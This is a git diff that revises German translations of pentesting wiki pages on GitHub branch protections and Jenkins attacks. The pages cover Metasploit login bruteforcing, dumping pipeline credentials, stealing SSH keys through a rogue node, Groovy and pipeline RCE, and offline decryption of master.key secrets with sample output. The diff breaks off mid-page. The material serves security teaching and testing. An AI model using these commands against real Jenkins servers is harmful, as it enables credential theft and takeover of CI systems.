> [!CAUTION]
-> A **malicious Github Action** run could be **abused** by the attacker to:
+> Eine **bösartige Github-Aktion** könnte vom Angreifer **missbraucht** werden, um:
>
-> - **Steal all the secrets** the Action has access to
-> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service)
-> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**.
+> - **Alle Geheimnisse zu stehlen**, auf die die Aktion Zugriff hat
+> - **Laterale Bewegungen** durchzuführen, wenn die Aktion in einer **drittanbieter Infrastruktur** ausgeführt wird, wo das SA-Token, das zum Ausführen der Maschine verwendet wird, abgerufen werden kann (wahrscheinlich über den Metadatenservice)
+> - **Das Token** zu **missbrauchen**, das vom **Workflow** verwendet wird, um **den Code des Repos zu stehlen**, in dem die Aktion ausgeführt wird, oder **sogar zu modifizieren**.
-## Branch Protections
+## Branch-Schutz
-Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
+Branch-Schutzmaßnahmen sind so konzipiert, dass sie **nicht die vollständige Kontrolle über ein Repository** an die Benutzer geben. Das Ziel ist es, **mehrere Schutzmethoden zu implementieren, bevor man in einem bestimmten Branch Code schreiben kann**.
-The **branch protections of a repository** can be found in _https://github.com/\/\/settings/branches_
+Die **Branch-Schutzmaßnahmen eines Repositories** finden Sie unter _https://github.com/\/\/settings/branches_.
> [!NOTE]
-> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
+> Es ist **nicht möglich, einen Branch-Schutz auf Organisationsebene festzulegen**. Daher müssen alle in jedem Repo deklariert werden.
-Different protections can be applied to a branch (like to master):
+Verschiedene Schutzmaßnahmen können auf einen Branch (wie auf master) angewendet werden:
-- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
-- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
-- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
-- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
-- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
-- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
-- **Require status checks to pass before merging.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret).
-- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
-- **Require signed commits**. The commits need to be signed.
-- **Require linear history.** Prevent merge commits from being pushed to matching branches.
-- **Include administrators**. If this isn't set, admins can bypass the restrictions.
-- **Restrict who can push to matching branches**. Restrict who can send a PR.
+- Sie können **eine PR vor dem Mergen verlangen** (so dass Sie Code nicht direkt über den Branch mergen können). Wenn dies ausgewählt ist, können verschiedene andere Schutzmaßnahmen in Kraft treten:
+- **Eine Anzahl von Genehmigungen verlangen**. Es ist sehr üblich, 1 oder 2 weitere Personen zu verlangen, die Ihre PR genehmigen, damit ein einzelner Benutzer nicht in der Lage ist, Code direkt zu mergen.
+- **Genehmigungen zurückweisen, wenn neue Commits gepusht werden**. Andernfalls könnte ein Benutzer legitimen Code genehmigen und dann bösartigen Code hinzufügen und mergen.
+- **Überprüfungen von Code-Eigentümern verlangen**. Mindestens 1 Code-Eigentümer des Repos muss die PR genehmigen (so dass "zufällige" Benutzer dies nicht genehmigen können).
+- **Einschränken, wer Pull-Request-Überprüfungen zurückweisen kann.** Sie können Personen oder Teams angeben, die berechtigt sind, Pull-Request-Überprüfungen zurückzuweisen.
+- **Bestimmten Akteuren erlauben, die Anforderungen an Pull-Requests zu umgehen**. Diese Benutzer können vorherige Einschränkungen umgehen.
+- **Statusprüfungen verlangen, die vor dem Mergen bestehen müssen.** Einige Prüfungen müssen bestehen, bevor der Commit gemergt werden kann (wie eine Github-Aktion, die überprüft, dass es kein Klartextgeheimnis gibt).
+- **Gespräche vor dem Mergen lösen.** Alle Kommentare zum Code müssen gelöst werden, bevor die PR gemergt werden kann.
+- **Signierte Commits verlangen**. Die Commits müssen signiert sein.
+- **Lineare Historie verlangen.** Verhindern, dass Merge-Commits in übereinstimmende Branches gepusht werden.
+- **Administratoren einbeziehen**. Wenn dies nicht festgelegt ist, können Administratoren die Einschränkungen umgehen.
+- **Einschränken, wer in übereinstimmende Branches pushen kann**. Einschränken, wer einen PR senden kann.
> [!NOTE]
-> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
+> Wie Sie sehen können, selbst wenn Sie es geschafft haben, einige Anmeldeinformationen eines Benutzers zu erhalten, **könnten Repos geschützt sein, sodass Sie beispielsweise keinen Code in master pushen können, um die CI/CD-Pipeline zu kompromittieren**.
-## References
+## Referenzen
- [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)
- [https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)[https://docs.github.com/en/enterprise-server](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)
diff --git a/src/pentesting-ci-cd/jenkins-security/README.md b/src/pentesting-ci-cd/jenkins-security/README.md
index ce6d2469d..71d347801 100644
--- a/src/pentesting-ci-cd/jenkins-security/README.md
+++ b/src/pentesting-ci-cd/jenkins-security/README.md
@@ -4,7 +4,7 @@
## Grundlegende Informationen
-Jenkins ist ein Tool, das eine unkomplizierte Methode bietet, um eine **Continuous Integration** oder **Continuous Delivery** (CI/CD) Umgebung für fast **jede** Kombination von **Programmiersprachen** und Quellcode-Repositories mithilfe von Pipelines einzurichten. Darüber hinaus automatisiert es verschiedene routinemäßige Entwicklungsaufgaben. Während Jenkins die **Notwendigkeit, Skripte für einzelne Schritte zu erstellen**, nicht beseitigt, bietet es eine schnellere und robustere Möglichkeit, die gesamte Abfolge von Build-, Test- und Bereitstellungstools zu integrieren, als man sie leicht manuell erstellen kann.
+Jenkins ist ein Tool, das eine einfache Methode bietet, um eine **Continuous Integration** oder **Continuous Delivery** (CI/CD) Umgebung für fast **jede** Kombination von **Programmiersprachen** und Quellcode-Repositories mithilfe von Pipelines einzurichten. Darüber hinaus automatisiert es verschiedene routinemäßige Entwicklungsaufgaben. Während Jenkins die **Notwendigkeit, Skripte für einzelne Schritte zu erstellen**, nicht beseitigt, bietet es eine schnellere und robustere Möglichkeit, die gesamte Abfolge von Build-, Test- und Bereitstellungstools zu integrieren, als man sie leicht manuell erstellen kann.
{{#ref}}
basic-jenkins-information.md
@@ -22,7 +22,7 @@ msf> use auxiliary/scanner/http/jenkins_command
```
Ohne Anmeldeinformationen können Sie im _**/asynchPeople/**_ Pfad oder _**/securityRealm/user/admin/search/index?q=**_ nach **Benutzernamen** suchen.
-Sie können möglicherweise die Jenkins-Version aus dem Pfad _**/oops**_ oder _**/error**_ abrufen.
+Sie können möglicherweise die Jenkins-Version über den Pfad _**/oops**_ oder _**/error**_ abrufen.
### Bekannte Schwachstellen
@@ -48,7 +48,7 @@ Wenn **SSO** **Funktionalität**/**Plugins** vorhanden sind, sollten Sie versuch
### Bruteforce
-**Jenkins** hat keine **Passwortrichtlinie** und keine **Maßnahmen zur Minderung von Benutzernamen-Bruteforce**. Es ist wichtig, **Benutzer zu bruteforcen**, da **schwache Passwörter** oder **Benutzernamen als Passwörter** verwendet werden könnten, sogar **umgekehrte Benutzernamen als Passwörter**.
+**Jenkins** hat keine **Passwortrichtlinie** und keine **Minderung von Benutzernamen-Bruteforce**. Es ist wichtig, **Benutzer zu bruteforcen**, da **schwache Passwörter** oder **Benutzernamen als Passwörter** verwendet werden können, sogar **umgekehrte Benutzernamen als Passwörter**.
```
msf> use auxiliary/scanner/http/jenkins_login
```
@@ -56,9 +56,9 @@ msf> use auxiliary/scanner/http/jenkins_login
Verwenden Sie [dieses Python-Skript](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) oder [dieses PowerShell-Skript](https://github.com/chryzsh/JenkinsPasswordSpray).
-### IP-Whitelist-Umgehung
+### IP-Whitelisting-Umgehung
-Viele Organisationen kombinieren **SaaS-basierte Quellcodeverwaltungssysteme (SCM)** wie GitHub oder GitLab mit einer **internen, selbstgehosteten CI**-Lösung wie Jenkins oder TeamCity. Dieses Setup ermöglicht es CI-Systemen, **Webhook-Ereignisse von SaaS-Quellcodeanbietern** zu **empfangen**, hauptsächlich um Pipeline-Jobs auszulösen.
+Viele Organisationen kombinieren **SaaS-basierte Quellcodeverwaltungssysteme (SCM)** wie GitHub oder GitLab mit einer **internen, selbst gehosteten CI**-Lösung wie Jenkins oder TeamCity. Dieses Setup ermöglicht es CI-Systemen, **Webhook-Ereignisse von SaaS-Quellcodeanbietern** zu **empfangen**, hauptsächlich um Pipeline-Jobs auszulösen.
Um dies zu erreichen, **whitelisten** Organisationen die **IP-Bereiche** der **SCM-Plattformen**, die ihnen den Zugriff auf das **interne CI-System** über **Webhooks** ermöglichen. Es ist jedoch wichtig zu beachten, dass **jeder** ein **Konto** auf GitHub oder GitLab erstellen und es so konfigurieren kann, dass es **einen Webhook auslöst**, was potenziell Anfragen an das **interne CI-System** senden kann.
@@ -69,7 +69,7 @@ Um dies zu erreichen, **whitelisten** Organisationen die **IP-Bereiche** der **S
In diesen Szenarien gehen wir davon aus, dass Sie ein gültiges Konto haben, um auf Jenkins zuzugreifen.
> [!WARNING]
-> Abhängig von dem in Jenkins konfigurierten **Autorisierungs**-Mechanismus und den Berechtigungen des kompromittierten Benutzers **könnten Sie in der Lage sein oder nicht, die folgenden Angriffe durchzuführen.**
+> Abhängig von dem in Jenkins konfigurierten **Autorisierungs**mechanismus und den Berechtigungen des kompromittierten Benutzers **könnten Sie in der Lage sein oder nicht, die folgenden Angriffe durchzuführen.**
Für weitere Informationen überprüfen Sie die grundlegenden Informationen:
@@ -89,13 +89,13 @@ python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build
cd build_dumps
gitleaks detect --no-git -v
```
-### **SSH-Anmeldeinformationen stehlen**
+### **Diebstahl von SSH-Anmeldeinformationen**
Wenn der kompromittierte Benutzer **ausreichende Berechtigungen hat, um einen neuen Jenkins-Knoten zu erstellen/zu ändern** und SSH-Anmeldeinformationen bereits gespeichert sind, um auf andere Knoten zuzugreifen, könnte er **diese Anmeldeinformationen stehlen**, indem er einen Knoten erstellt/ändert und **einen Host festlegt, der die Anmeldeinformationen aufzeichnet**, ohne den Hostschlüssel zu überprüfen:
.png>)
-Sie finden Jenkins-SSH-Anmeldeinformationen normalerweise in einem **globalen Anbieter** (`/credentials/`), sodass Sie sie auch dumpen können, wie Sie es mit anderen Geheimnissen tun würden. Weitere Informationen im [**Abschnitt Geheimnisse dumpen**](./#dumping-secrets).
+Sie finden normalerweise Jenkins-SSH-Anmeldeinformationen in einem **globalen Anbieter** (`/credentials/`), sodass Sie sie auch dumpen können, wie Sie es mit anderen Geheimnissen tun würden. Weitere Informationen im [**Abschnitt Geheimnisse dumpen**](./#dumping-secrets).
### **RCE in Jenkins**
@@ -103,7 +103,7 @@ Einen **Shell-Zugang zum Jenkins-Server** zu erhalten, gibt dem Angreifer die M
Standardmäßig wird Jenkins **als SYSTEM** ausgeführt. Das Kompromittieren von Jenkins gibt dem Angreifer **SYSTEM-Berechtigungen**.
-### **RCE durch Erstellen/Ändern eines Projekts**
+### **RCE Erstellen/Ändern eines Projekts**
Das Erstellen/Ändern eines Projekts ist eine Möglichkeit, RCE über den Jenkins-Server zu erhalten:
@@ -119,7 +119,7 @@ Sie können auch RCE erhalten, indem Sie ein Groovy-Skript ausführen, was mögl
jenkins-rce-with-groovy-script.md
{{#endref}}
-### RCE durch Erstellen/Ändern einer Pipeline
+### RCE Erstellen/Ändern einer Pipeline
Sie können auch **RCE erhalten, indem Sie eine Pipeline erstellen/ändern**:
@@ -137,10 +137,10 @@ Um Pipelines auszunutzen, müssen Sie weiterhin Zugriff auf Jenkins haben.
.png>)
-Es ist auch möglich, **Pipeline-Konfigurationsdateien an anderen Orten** (zum Beispiel in anderen Repositories) zu speichern, um den **Zugriff** auf das Repository und den Zugriff auf die Pipeline zu **trennen**.
+Es ist auch möglich, **Pipeline-Konfigurationsdateien an anderen Orten** zu speichern (zum Beispiel in anderen Repositories), um den **Zugriff** auf das Repository und den Zugriff auf die Pipeline **zu trennen**.
Wenn ein Angreifer **Schreibzugriff auf diese Datei hat**, kann er sie **ändern** und die Pipeline **potenziell auslösen**, ohne überhaupt Zugriff auf Jenkins zu haben.\
-Es ist möglich, dass der Angreifer einige **Branch-Schutzmaßnahmen umgehen** muss (je nach Plattform und Benutzerberechtigungen könnten sie umgangen werden oder nicht).
+Es ist möglich, dass der Angreifer **einige Branch-Schutzmaßnahmen umgehen** muss (je nach Plattform und Benutzerberechtigungen könnten diese umgangen werden oder nicht).
Die häufigsten Auslöser zum Ausführen einer benutzerdefinierten Pipeline sind:
@@ -186,7 +186,7 @@ Es gibt ein weiteres Problem: Um ein **Geheimnis innerhalb der env** einer Pipel
```
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
```
-Hier haben Sie die Möglichkeit, einige gängige Geheimnisarten zu laden:
+Hier ist die Möglichkeit, einige gängige Geheimnisarten zu laden:
```bash
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
@@ -214,15 +214,15 @@ env
'''
}
```
-Am Ende dieser Seite können Sie **alle Arten von Anmeldeinformationen** finden: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
+Am Ende dieser Seite können Sie **alle Arten von Anmeldeinformationen finden**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
> [!WARNING]
-> Der beste Weg, um **alle Geheimnisse auf einmal zu dumpen**, besteht darin, die **Jenkins**-Maschine zu **kompromittieren** (zum Beispiel durch Ausführen einer Reverse-Shell im **eingebauten Knoten**) und dann die **Master-Schlüssel** und die **verschlüsselten Geheimnisse** zu **leaken** und sie offline zu entschlüsseln.\
+> Der beste Weg, um **alle Geheimnisse auf einmal zu dumpen**, besteht darin, die **Jenkins**-Maschine zu **kompromittieren** (zum Beispiel einen Reverse-Shell im **eingebauten Knoten** auszuführen) und dann die **Master-Schlüssel** und die **verschlüsselten Geheimnisse** zu **leaken** und sie offline zu entschlüsseln.\
> Mehr dazu im Abschnitt [Nodes & Agents](./#nodes-and-agents) und im Abschnitt [Post Exploitation](./#post-exploitation).
### Trigger
-Aus [den Dokumenten](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Die `triggers`-Direktive definiert die **automatisierten Möglichkeiten, wie die Pipeline erneut ausgelöst werden sollte**. Für Pipelines, die mit einer Quelle wie GitHub oder BitBucket integriert sind, sind `triggers` möglicherweise nicht erforderlich, da eine webhook-basierte Integration wahrscheinlich bereits vorhanden ist. Die derzeit verfügbaren Trigger sind `cron`, `pollSCM` und `upstream`.
+Aus [den Docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Die `triggers`-Direktive definiert die **automatisierten Möglichkeiten, wie die Pipeline erneut ausgelöst werden sollte**. Für Pipelines, die mit einer Quelle wie GitHub oder BitBucket integriert sind, sind `triggers` möglicherweise nicht erforderlich, da eine webhook-basierte Integration wahrscheinlich bereits vorhanden ist. Die derzeit verfügbaren Trigger sind `cron`, `pollSCM` und `upstream`.
Cron-Beispiel:
```bash
@@ -240,13 +240,13 @@ Für weitere Informationen überprüfen Sie die grundlegenden Informationen:
basic-jenkins-information.md
{{#endref}}
-Sie können die **konfigurierten Knoten** in `/computer/` auflisten, Sie werden normalerweise den **`Built-In Node`** (der Knoten, der Jenkins ausführt) und möglicherweise weitere finden:
+Sie können die **konfigurierten Knoten** in `/computer/` auflisten, Sie werden normalerweise den \*\*`Built-In Node` \*\* (der Knoten, der Jenkins ausführt) und möglicherweise weitere finden:
.png>)
Es ist **besonders interessant, den Built-In Node zu kompromittieren**, da er sensible Jenkins-Informationen enthält.
-Um anzugeben, dass Sie die **Pipeline** im **Built-In Jenkins Node** **ausführen** möchten, können Sie innerhalb der Pipeline die folgende Konfiguration angeben:
+Um anzugeben, dass Sie die **Pipeline** im **Built-In Jenkins Node** ausführen möchten, können Sie innerhalb der Pipeline die folgende Konfiguration angeben:
```bash
pipeline {
agent {label 'built-in'}
@@ -312,7 +312,7 @@ msf> post/multi/gather/jenkins_gather
```
### Jenkins-Geheimnisse
-Sie können die Geheimnisse auflisten, indem Sie auf `/credentials/` zugreifen, wenn Sie über ausreichende Berechtigungen verfügen. Beachten Sie, dass dies nur die Geheimnisse innerhalb der `credentials.xml`-Datei auflistet, aber **Build-Konfigurationsdateien** möglicherweise auch **weitere Anmeldeinformationen** enthalten.
+Sie können die Geheimnisse auflisten, indem Sie auf `/credentials/` zugreifen, wenn Sie über ausreichende Berechtigungen verfügen. Beachten Sie, dass dies nur die Geheimnisse in der Datei `credentials.xml` auflistet, aber **Build-Konfigurationsdateien** möglicherweise auch **weitere Anmeldeinformationen** enthalten.
Wenn Sie **die Konfiguration jedes Projekts sehen können**, können Sie dort auch die **Namen der Anmeldeinformationen (Geheimnisse)** sehen, die verwendet werden, um auf das Repository zuzugreifen, sowie **andere Anmeldeinformationen des Projekts**.
@@ -326,7 +326,7 @@ jenkins-dumping-secrets-from-groovy.md
#### Vom Datenträger
-Diese Dateien werden benötigt, um **Jenkins-Geheimnisse zu entschlüsseln**:
+Diese Dateien sind erforderlich, um **Jenkins-Geheimnisse zu entschlüsseln**:
- secrets/master.key
- secrets/hudson.util.Secret
@@ -349,7 +349,7 @@ credentials.xml: {AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOm
```
#### Jenkins-Geheimnisse offline entschlüsseln
-Wenn Sie die **benötigten Passwörter zum Entschlüsseln der Geheimnisse** extrahiert haben, verwenden Sie [**dieses Skript**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py), **um diese Geheimnisse zu entschlüsseln**.
+Wenn Sie die **benötigten Passwörter zur Entschlüsselung der Geheimnisse** haben, verwenden Sie [**dieses Skript**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **um diese Geheimnisse zu entschlüsseln**.
```bash
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
@@ -357,13 +357,13 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
```
-#### Entschlüsseln von Jenkins-Geheimnissen aus Groovy
+#### Jenkins-Geheimnisse aus Groovy entschlüsseln
```bash
println(hudson.util.Secret.decrypt("{...}"))
```
### Erstellen eines neuen Administrators
-1. Greifen Sie auf die Jenkins config.xml-Datei in `/var/lib/jenkins/config.xml` oder `C:\Program Files (x86)\Jenkins\` zu.
+1. Greifen Sie auf die Jenkins config.xml-Datei in `/var/lib/jenkins/config.xml` oder `C:\Program Files (x86)\Jenkis\` zu.
2. Suchen Sie nach dem Wort `true` und ändern Sie das Wort **`true`** in **`false`**.
1. `sed -i -e 's/truefalse)
@@ -42,9 +42,9 @@ In `/configureSecurity` ist es möglich, die **Autorisierungsmethode von Jenkins
In `/configureSecurity` ist es möglich, den **Sicherheitsbereich zu konfigurieren.** Standardmäßig unterstützt Jenkins einige verschiedene Sicherheitsbereiche:
-- **An Servlet-Container delegieren**: Für **die Authentifizierung an einen Servlet-Container, der den Jenkins-Controller ausführt**, wie [Jetty](https://www.eclipse.org/jetty/).
+- **Delegieren an den Servlet-Container**: Für **die Authentifizierung an einen Servlet-Container, der den Jenkins-Controller ausführt**, wie [Jetty](https://www.eclipse.org/jetty/).
- **Jenkins eigene Benutzerdatenbank:** Verwenden Sie **Jenkins eigene integrierte Benutzerdatenbank** zur Authentifizierung, anstatt an ein externes System zu delegieren. Dies ist standardmäßig aktiviert.
-- **LDAP**: Delegiert die gesamte Authentifizierung an einen konfigurierten LDAP-Server, einschließlich sowohl Benutzer als auch Gruppen.
+- **LDAP**: Delegieren Sie die gesamte Authentifizierung an einen konfigurierten LDAP-Server, einschließlich sowohl Benutzer als auch Gruppen.
- **Unix-Benutzer-/Gruppendatenbank**: **Delegiert die Authentifizierung an die zugrunde liegende Unix**-OS-Benutzerdatenbank auf dem Jenkins-Controller. Dieser Modus ermöglicht auch die Wiederverwendung von Unix-Gruppen für die Autorisierung.
Plugins können zusätzliche Sicherheitsbereiche bereitstellen, die nützlich sein können, um Jenkins in bestehende Identitätssysteme zu integrieren, wie zum Beispiel:
@@ -59,17 +59,17 @@ Definitionen aus den [Docs](https://www.jenkins.io/doc/book/managing/nodes/):
**Knoten** sind die **Maschinen**, auf denen die Build-**Agenten laufen**. Jenkins überwacht jeden angeschlossenen Knoten auf Speicherplatz, freien temporären Speicher, freien Swap, Uhrzeit/Synchronisation und Reaktionszeit. Ein Knoten wird offline genommen, wenn einer dieser Werte außerhalb des konfigurierten Schwellenwerts liegt.
-**Agenten** **verwalten** die **Aufgabenausführung** im Auftrag des Jenkins-Controllers, indem sie **Executor verwenden**. Ein Agent kann jedes Betriebssystem verwenden, das Java unterstützt. Werkzeuge, die für Builds und Tests erforderlich sind, werden auf dem Knoten installiert, auf dem der Agent läuft; sie können **direkt oder in einem Container** (Docker oder Kubernetes) installiert werden. Jeder **Agent ist effektiv ein Prozess mit seiner eigenen PID** auf der Hostmaschine.
+**Agenten** **verwalten** die **Aufgabenausführung** im Auftrag des Jenkins-Controllers, indem sie **Executor** verwenden. Ein Agent kann jedes Betriebssystem verwenden, das Java unterstützt. Die für Builds und Tests erforderlichen Tools sind auf dem Knoten installiert, auf dem der Agent läuft; sie können **direkt oder in einem Container** (Docker oder Kubernetes) installiert werden. Jeder **Agent ist effektiv ein Prozess mit seiner eigenen PID** auf der Hostmaschine.
-Ein **Executor** ist ein **Slot für die Ausführung von Aufgaben**; effektiv ist es **ein Thread im Agenten**. Die **Anzahl der Executor** auf einem Knoten definiert die Anzahl der **gleichzeitigen Aufgaben**, die zu einem Zeitpunkt auf diesem Knoten ausgeführt werden können. Mit anderen Worten, dies bestimmt die **Anzahl der gleichzeitigen Pipeline `Stufen`**, die zu einem Zeitpunkt auf diesem Knoten ausgeführt werden können.
+Ein **Executor** ist ein **Slot für die Ausführung von Aufgaben**; effektiv ist es **ein Thread im Agenten**. Die **Anzahl der Executor** auf einem Knoten definiert die Anzahl der **gleichzeitigen Aufgaben**, die zu einem Zeitpunkt auf diesem Knoten ausgeführt werden können. Mit anderen Worten, dies bestimmt die **Anzahl der gleichzeitigen Pipeline `stages`**, die zu einem Zeitpunkt auf diesem Knoten ausgeführt werden können.
## Jenkins-Geheimnisse
### Verschlüsselung von Geheimnissen und Anmeldeinformationen
-Definition aus den [Docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins verwendet **AES zur Verschlüsselung und zum Schutz von Geheimnissen**, Anmeldeinformationen und deren jeweiligen Verschlüsselungsschlüsseln. Diese Verschlüsselungsschlüssel werden in `$JENKINS_HOME/secrets/` zusammen mit dem Master-Schlüssel gespeichert, der zum Schutz dieser Schlüssel verwendet wird. Dieses Verzeichnis sollte so konfiguriert werden, dass nur der Betriebssystembenutzer, unter dem der Jenkins-Controller läuft, Lese- und Schreibzugriff auf dieses Verzeichnis hat (d.h. ein `chmod`-Wert von `0700` oder unter Verwendung geeigneter Dateiattribute). Der **Master-Schlüssel** (manchmal als "Schlüsselverschlüsselungsschlüssel" in der Kryptojargon bezeichnet) wird **_unverschlüsselt_** auf dem Dateisystem des Jenkins-Controllers in **`$JENKINS_HOME/secrets/master.key`** gespeichert, was nicht vor Angreifern schützt, die direkten Zugriff auf diese Datei haben. Die meisten Benutzer und Entwickler verwenden diese Verschlüsselungsschlüssel indirekt über entweder die [Secret](https://javadoc.jenkins.io/byShortName/Secret) API zur Verschlüsselung generischer geheimer Daten oder über die Anmeldeinformations-API. Für die kryptografisch Neugierigen verwendet Jenkins AES im Cipher Block Chaining (CBC)-Modus mit PKCS#5-Padding und zufälligen IVs, um Instanzen von [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) zu verschlüsseln, die in `$JENKINS_HOME/secrets/` mit einem Dateinamen gespeichert werden, der ihrer `CryptoConfidentialKey`-ID entspricht. Häufige Schlüssel-IDs umfassen:
+Definition aus den [Docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins verwendet **AES zur Verschlüsselung und zum Schutz von Geheimnissen**, Anmeldeinformationen und deren jeweiligen Verschlüsselungsschlüsseln. Diese Verschlüsselungsschlüssel werden in `$JENKINS_HOME/secrets/` zusammen mit dem Master-Schlüssel gespeichert, der zum Schutz dieser Schlüssel verwendet wird. Dieses Verzeichnis sollte so konfiguriert werden, dass nur der Betriebssystembenutzer, unter dem der Jenkins-Controller läuft, Lese- und Schreibzugriff auf dieses Verzeichnis hat (d.h. ein `chmod`-Wert von `0700` oder unter Verwendung geeigneter Dateiattribute). Der **Master-Schlüssel** (manchmal in der Kryptosprache als "Key Encryption Key" bezeichnet) wird **_unverschlüsselt_** auf dem Dateisystem des Jenkins-Controllers in **`$JENKINS_HOME/secrets/master.key`** gespeichert, was nicht vor Angreifern schützt, die direkten Zugriff auf diese Datei haben. Die meisten Benutzer und Entwickler verwenden diese Verschlüsselungsschlüssel indirekt über entweder die [Secret](https://javadoc.jenkins.io/byShortName/Secret) API zur Verschlüsselung allgemeiner geheimer Daten oder über die Anmeldeinformations-API. Für die kryptokuriosen Benutzer verwendet Jenkins AES im Cipher Block Chaining (CBC)-Modus mit PKCS#5-Padding und zufälligen IVs, um Instanzen von [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) zu verschlüsseln, die in `$JENKINS_HOME/secrets/` mit einem Dateinamen gespeichert werden, der ihrer `CryptoConfidentialKey`-ID entspricht. Häufige Schlüssel-IDs sind:
-- `hudson.util.Secret`: verwendet für generische Geheimnisse;
+- `hudson.util.Secret`: verwendet für allgemeine Geheimnisse;
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: verwendet für einige Anmeldeinformationstypen;
- `jenkins.model.Jenkins.crumbSalt`: verwendet vom [CSRF-Schutzmechanismus](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); und
@@ -77,7 +77,7 @@ Definition aus den [Docs](https://www.jenkins.io/doc/developer/security/secrets/
Anmeldeinformationen können **globalen Anbietern** (`/credentials/`) zugewiesen werden, auf die von jedem konfigurierten Projekt zugegriffen werden kann, oder sie können auf **spezifische Projekte** (`/job//configure`) beschränkt werden und sind daher nur von dem spezifischen Projekt aus zugänglich.
-Laut [**den Docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Anmeldeinformationen, die im Geltungsbereich sind, stehen der Pipeline ohne Einschränkungen zur Verfügung. Um **versehentliche Offenlegung im Build-Protokoll** zu verhindern, werden Anmeldeinformationen **maskiert** und sind nicht in der regulären Ausgabe sichtbar, sodass ein Aufruf von `env` (Linux) oder `set` (Windows) oder Programme, die ihre Umgebung oder Parameter drucken, **sie nicht im Build-Protokoll offenbaren** für Benutzer, die sonst keinen Zugriff auf die Anmeldeinformationen hätten.
+Laut [**den Docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Anmeldeinformationen, die im Geltungsbereich sind, stehen der Pipeline ohne Einschränkungen zur Verfügung. Um **versehentliche Offenlegung im Build-Protokoll** zu verhindern, werden Anmeldeinformationen **maskiert** und sind nicht im regulären Output sichtbar, sodass ein Aufruf von `env` (Linux) oder `set` (Windows) oder Programme, die ihre Umgebung oder Parameter drucken, **sie im Build-Protokoll nicht offenbaren** für Benutzer, die ansonsten keinen Zugriff auf die Anmeldeinformationen hätten.
**Deshalb muss ein Angreifer, um die Anmeldeinformationen zu exfiltrieren, sie beispielsweise base64 kodieren.**
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
index bb844e998..2eb0174bd 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -4,12 +4,12 @@
In diesem Blogbeitrag ist es möglich, einen großartigen Weg zu finden, um eine Local File Inclusion-Sicherheitsanfälligkeit in Jenkins in RCE zu verwandeln: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
-Dies ist eine von KI erstellte Zusammenfassung des Teils des Beitrags, in dem das Erstellen eines willkürlichen Cookies missbraucht wird, um RCE zu erhalten, indem eine lokale Datei gelesen wird, bis ich Zeit habe, eine eigene Zusammenfassung zu erstellen:
